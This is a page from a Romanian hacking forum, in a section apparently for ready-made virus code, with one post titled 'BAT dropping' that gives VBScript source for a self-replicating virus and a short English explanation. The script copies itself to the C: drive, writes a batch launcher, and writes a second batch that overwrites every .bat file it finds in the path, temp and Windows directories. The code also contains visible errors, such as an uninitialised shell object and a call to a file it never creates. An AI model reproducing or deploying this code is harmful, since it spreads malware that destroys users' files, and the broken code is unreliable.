HAKERMANIA
Km tot despre haking
Lista Forumurilor Pe Tematici
HAKERMANIA | Inregistrare | Login

POZE HAKERMANIA

Nu sunteti logat.
Nou pe simpatie:
andrum94 la Simpatie.ro
Femeie
24 ani
Galati
cauta Barbat
27 - 80 ani
HAKERMANIA / Coduri gata facute pt a face virusii / BAT dropping  
Autor
Mesaj Pagini: 1
cocoju93
Administrator

Inregistrat: acum 18 ani
Postari: 61
Source first:

Code:

Dim shell, batcha, batchb, fso
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\vbs.vbs", True
set batcha=fso.CreateTextFile("C:\bat.bat")
batcha.WriteLine "cls"
batcha.WriteLine "@echo off"
batcha.WriteLine "cscript C:\vbs.vbs"
batcha.Close
set batchb=CreateTextFile("C:\bata.bat")
batchb.WriteLine "cls"
batchb.WriteLine "@echo off"
batchb.WriteLine "for %%a in (*.bat ..\*.bat \*.bat %path%\*.bat %tmp%\*.bat %temp%\*.bat %windir%\*.bat) do copy C:\bat.bat %%a"
batchb.Close
shell.Run "C:\lnk.bat"

First the virus copies itself to C:\vbs.vbs. Than it generates a batch-file (C:\bat.bat) which opens the virus-copy. Than te virus generates a second batch file, which copies the first one to every batch-files it can find.


_______________________________________
Codrutz

pus acum 18 ani
   
Pagini: 1  

Mergi la